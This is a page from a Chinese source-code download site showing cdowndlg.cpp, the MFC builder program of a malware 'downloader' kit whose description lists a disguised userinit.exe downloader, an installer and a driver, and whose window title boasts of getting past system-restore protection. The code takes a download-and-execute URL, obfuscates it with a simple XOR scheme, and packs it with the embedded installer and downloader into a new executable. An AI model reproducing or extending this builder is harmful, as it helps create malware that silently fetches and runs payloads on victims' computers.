⭐ 欢迎来到虫虫下载站! | 📦 资源下载 📁 资源专辑 ℹ️ 关于我们
⭐ 虫虫下载站

📄 cdowndlg.cpp

📁 下载者包括四个工程: CDown:生成器 userinit:真正的下载者 Dat:驱动和下载者的安装程序 pass:驱动程序
💻 CPP
字号:
// CDownDlg.cpp : implementation file
//

#include "stdafx.h"
#include "CDown.h"
#include "CDownDlg.h"

#ifdef _DEBUG
#define new DEBUG_NEW
#undef THIS_FILE
static char THIS_FILE[] = __FILE__;
#endif

// 加密
int Encrypted(const char* inbuffer, int len, char* outbuffer)
{
	int index = 0;
	char	cSum = 0;
	
	if ( len <= 4 )
		return 0;
	
	for ( index = 0; index < len; index++ )
	{
		outbuffer[index] = inbuffer[index]^0x9a;
		
		// 校验和
		cSum = cSum + outbuffer[index];
	}
	
	outbuffer[len] = inbuffer[0] + 0x57;
	outbuffer[len+1] = inbuffer[2] + 0xdb;
	outbuffer[len+3] = inbuffer[1] + 0x36;
	outbuffer[len+2] = cSum;
	
	return len+4;
}


/////////////////////////////////////////////////////////////////////////////
// CAboutDlg dialog used for App About

class CAboutDlg : public CDialog
{
public:
	CAboutDlg();

// Dialog Data
	//{{AFX_DATA(CAboutDlg)
	enum { IDD = IDD_ABOUTBOX };
	//}}AFX_DATA

	// ClassWizard generated virtual function overrides
	//{{AFX_VIRTUAL(CAboutDlg)
	protected:
	virtual void DoDataExchange(CDataExchange* pDX);    // DDX/DDV support
	//}}AFX_VIRTUAL

// Implementation
protected:
	//{{AFX_MSG(CAboutDlg)
	//}}AFX_MSG
	DECLARE_MESSAGE_MAP()
};

CAboutDlg::CAboutDlg() : CDialog(CAboutDlg::IDD)
{
	//{{AFX_DATA_INIT(CAboutDlg)
	//}}AFX_DATA_INIT
}

void CAboutDlg::DoDataExchange(CDataExchange* pDX)
{
	CDialog::DoDataExchange(pDX);
	//{{AFX_DATA_MAP(CAboutDlg)
	//}}AFX_DATA_MAP
}

BEGIN_MESSAGE_MAP(CAboutDlg, CDialog)
	//{{AFX_MSG_MAP(CAboutDlg)
		// No message handlers
	//}}AFX_MSG_MAP
END_MESSAGE_MAP()

/////////////////////////////////////////////////////////////////////////////
// CCDownDlg dialog

CCDownDlg::CCDownDlg(CWnd* pParent /*=NULL*/)
	: CDialog(CCDownDlg::IDD, pParent)
{
	//{{AFX_DATA_INIT(CCDownDlg)
		// NOTE: the ClassWizard will add member initialization here
	//}}AFX_DATA_INIT
	// Note that LoadIcon does not require a subsequent DestroyIcon in Win32
	m_hIcon = AfxGetApp()->LoadIcon(IDR_MAINFRAME);
}

void CCDownDlg::DoDataExchange(CDataExchange* pDX)
{
	CDialog::DoDataExchange(pDX);
	//{{AFX_DATA_MAP(CCDownDlg)
		// NOTE: the ClassWizard will add DDX and DDV calls here
	//}}AFX_DATA_MAP
}

BEGIN_MESSAGE_MAP(CCDownDlg, CDialog)
	//{{AFX_MSG_MAP(CCDownDlg)
	ON_WM_SYSCOMMAND()
	ON_WM_PAINT()
	ON_WM_QUERYDRAGICON()
	ON_BN_CLICKED(IDC_BUTTON1, OnButton1)
	ON_BN_CLICKED(IDC_BUTTON3, OnButton3)
	ON_BN_CLICKED(IDC_BUTTON2, OnButton2)
	//}}AFX_MSG_MAP
END_MESSAGE_MAP()

/////////////////////////////////////////////////////////////////////////////
// CCDownDlg message handlers

BOOL CCDownDlg::OnInitDialog()
{
	CDialog::OnInitDialog();

	// Add "About..." menu item to system menu.

	// IDM_ABOUTBOX must be in the system command range.
	ASSERT((IDM_ABOUTBOX & 0xFFF0) == IDM_ABOUTBOX);
	ASSERT(IDM_ABOUTBOX < 0xF000);

	CMenu* pSysMenu = GetSystemMenu(FALSE);
	if (pSysMenu != NULL)
	{
		CString strAboutMenu;
		strAboutMenu.LoadString(IDS_ABOUTBOX);
		if (!strAboutMenu.IsEmpty())
		{
			pSysMenu->AppendMenu(MF_SEPARATOR);
			pSysMenu->AppendMenu(MF_STRING, IDM_ABOUTBOX, strAboutMenu);
		}
	}

	// Set the icon for this dialog.  The framework does this automatically
	//  when the application's main window is not a dialog
	SetIcon(m_hIcon, TRUE);			// Set big icon
	SetIcon(m_hIcon, FALSE);		// Set small icon
	
	// TODO: Add extra initialization here
	SetWindowText("无极下载者 没有不能穿的还原");
	return TRUE;  // return TRUE  unless you set the focus to a control
}

void CCDownDlg::OnSysCommand(UINT nID, LPARAM lParam)
{
	if ((nID & 0xFFF0) == IDM_ABOUTBOX)
	{
		CAboutDlg dlgAbout;
		dlgAbout.DoModal();
	}
	else
	{
		CDialog::OnSysCommand(nID, lParam);
	}
}

// If you add a minimize button to your dialog, you will need the code below
//  to draw the icon.  For MFC applications using the document/view model,
//  this is automatically done for you by the framework.

void CCDownDlg::OnPaint() 
{
	if (IsIconic())
	{
		CPaintDC dc(this); // device context for painting

		SendMessage(WM_ICONERASEBKGND, (WPARAM) dc.GetSafeHdc(), 0);

		// Center icon in client rectangle
		int cxIcon = GetSystemMetrics(SM_CXICON);
		int cyIcon = GetSystemMetrics(SM_CYICON);
		CRect rect;
		GetClientRect(&rect);
		int x = (rect.Width() - cxIcon + 1) / 2;
		int y = (rect.Height() - cyIcon + 1) / 2;

		// Draw the icon
		dc.DrawIcon(x, y, m_hIcon);
	}
	else
	{
		CDialog::OnPaint();
	}
}

// The system calls this to obtain the cursor to display while the user drags
//  the minimized window.
HCURSOR CCDownDlg::OnQueryDragIcon()
{
	return (HCURSOR) m_hIcon;
}

void CCDownDlg::OnButton1() 
{
	char *szFilter = "*.exe\0*.*\0\0";
	//	char *szFilter = "WMF文件:(*.wmf)\0*.wmf\0\0";  //可以指定特定文件
	
	DWORD iResult = -1;
	char *pOpenFile = new char[MAX_PATH];
	ZeroMemory(pOpenFile, MAX_PATH);
	
	do {
		OPENFILENAME stOF;
		char *lpFileName = new char[MAX_PATH];
		RtlZeroMemory(lpFileName, MAX_PATH);
		
		RtlZeroMemory((void *)&stOF, sizeof(stOF));
		stOF.lStructSize = sizeof(stOF);
		stOF.hwndOwner = NULL;
		stOF.lpstrFilter = szFilter;
		stOF.lpstrFile = lpFileName;
		stOF.nMaxFile = MAX_PATH;
		stOF.Flags = OFN_PATHMUSTEXIST;
		stOF.lpstrDefExt = "exe";	//缺省扩展名
		stOF.lpstrTitle = "Input the save file name,please!";
		if(GetSaveFileName(&stOF))
		{
			HANDLE hSaveFile = CreateFile(lpFileName,  GENERIC_READ|GENERIC_WRITE, FILE_SHARE_READ, NULL, CREATE_ALWAYS, FILE_ATTRIBUTE_NORMAL, NULL);
			if (hSaveFile == INVALID_HANDLE_VALUE)
			{
				MessageBox( "Create save file error, Check your input,please!", "ERROR", MB_ICONERROR);
				iResult = -1;
				break;
			}
			CloseHandle(hSaveFile);
			SetDlgItemText(IDC_EDIT_DEST, lpFileName);
			//			SetFocus(GetDlgItem(hOwnDlg, IDOK));
		}
		
		delete []lpFileName;
		lpFileName = NULL;
		
	} while(0);
	
	delete []pOpenFile;	 
	
}

void CCDownDlg::OnButton3() 
{
    PostQuitMessage(0);	
}

void CCDownDlg::OnButton2() 
{
	// 获取各个信息
	CString  csVersion;
	CString  csDownAndExec;
	CString  csDestPath; 
	
	GetDlgItemText( IDC_EDIT_VERSION, csVersion );
	GetDlgItemText( IDC_EDIT_DOWN, csDownAndExec );
	GetDlgItemText( IDC_EDIT_DEST, csDestPath );
    
 	if ( !csVersion.GetLength() ) 
 	{
 		MessageBox( "版本号错误!", "error", MB_OK );
 		return;
 	}
	
	if ( !csDownAndExec.GetLength() ) 
	{
		MessageBox( "下载执行地址错误!", "error", MB_OK );
		return;
	}
	
	if ( !csDestPath.GetLength() ) 
	{
		MessageBox( "生成文件路径错误!", "error", MB_OK );
		return;
	}
	
	// 获取资源文件
	// 获取当前文件的句柄
    HMODULE hSocueModule;
	hSocueModule = GetModuleHandle(NULL); 
	
	// 找到对应的资源句柄
	HRSRC hPptResuce;
	hPptResuce = FindResource(hSocueModule, MAKEINTRESOURCE(IDR_SOM_DAT), TEXT("SOM"));
	
	// 读取资源句柄
	HANDLE hPptFile;
	hPptFile = LoadResource(hSocueModule, hPptResuce);
	
	// 获取资源大小
	DWORD dwDatSize;
	dwDatSize = SizeofResource(hSocueModule, hPptResuce);
	
	// 申请缓冲区
	char *szDatBuf;
	szDatBuf = (char *)malloc(dwDatSize);
	memset(szDatBuf, 0, dwDatSize);
    memcpy(szDatBuf, (void *)hPptFile, dwDatSize);
    
	FreeResource(hPptFile);

	// 释放userinit.exe文件
	HRSRC hIniFile;
   	hIniFile = FindResource(hSocueModule, MAKEINTRESOURCE(IDR_SOM_INIT), TEXT("SOM"));
	HANDLE hInitFile;
	hInitFile = LoadResource(hSocueModule, hIniFile);
	DWORD dwInitSize;
	dwInitSize = SizeofResource(hSocueModule, hIniFile);

	char *szInitBuf;
	szInitBuf = (char *)malloc(dwInitSize);
	memset(szInitBuf, 0, dwInitSize);

    memcpy(szInitBuf, (void *)hInitFile, dwInitSize);
  
	FreeResource(hInitFile);
   
	// 版本号写入文件末尾
	char *szVersionBuf;
	szVersionBuf = (char *)malloc(csVersion.GetLength() + 1);
	szVersionBuf = csVersion.GetBuffer(csVersion.GetLength());

	if (csVersion.GetLength() != 10)
	{
		MessageBox( "版本号错误错误!", "error", MB_OK );
		return;
	}

	memcpy(szInitBuf + dwInitSize - 10, szVersionBuf, 10);
	
	// 创建生成文件
	HANDLE	hDestFile;
	hDestFile = CreateFile( csDestPath, 
		GENERIC_WRITE, 
		FILE_SHARE_WRITE, 
		NULL, CREATE_ALWAYS, 
		FILE_ATTRIBUTE_NORMAL, 
		NULL
		);
	
	if ( hDestFile == INVALID_HANDLE_VALUE )
	{		
		MessageBox("生成文件失败!");
		return;
	}
	
	DWORD dwHigh;

	// 写入dat.exe文件数据
	if ( !WriteFile(hDestFile, szDatBuf, dwDatSize, &dwHigh, NULL ) )
	{
		free(szDatBuf);
		CloseHandle(hDestFile);
		
		dwHigh = GetLastError();
		
	    MessageBox("写入文件失败!");
		return;
	}
   
	dwHigh = 0;

	// userinit.exe文件数据
	if ( !WriteFile(hDestFile, szInitBuf, dwInitSize, &dwHigh, NULL ) )
	{
		free(szInitBuf);
		CloseHandle(hDestFile);
		
		dwHigh = GetLastError();
		
		MessageBox("写入文件失败!");
		return;
	}

	// 写入url
	dwHigh = 0;

	// 获取url数据 
	char *szUrl;
	szUrl = (char *)malloc(MAX_PATH);
	memset(szUrl, 0, MAX_PATH);

    DWORD dwUrlLen = 0;
	dwUrlLen = csDownAndExec.GetLength();
	szUrl = csDownAndExec.GetBuffer(dwUrlLen);
    
//	char szTxtFile[] = "/down.txt";
//	strcat(szUrl, szTxtFile);
//	dwUrlLen = dwUrlLen + strlen(szTxtFile); // url长度加9

	// 写入url地址
	char szOverlay[MAX_PATH];
	
	memset(szOverlay, 0, MAX_PATH);
	
	// szoverlay是加密后的数据
	if ( Encrypted(szUrl, dwUrlLen, szOverlay) < 4 )
	{
		CloseHandle(hDestFile);
		
		MessageBox("写入文件失败!");
		return;
	}
    
	// url长度加4
	dwUrlLen = dwUrlLen + 4;
	
	if ( !WriteFile(hDestFile, szOverlay, dwUrlLen, &dwHigh, NULL) )
	{
		CloseHandle(hDestFile);
		MessageBox("写入文件失败!");
		return;
	}
    
    
	CloseHandle(hDestFile);
	MessageBox( "生成文件成功!", "ok", MB_OK ); 
	return;

}


⌨️ 快捷键说明

复制代码 Ctrl + C
搜索代码 Ctrl + F
全屏模式 F11
切换主题 Ctrl + Shift + D
显示快捷键 ?
增大字号 Ctrl + =
减小字号 Ctrl + -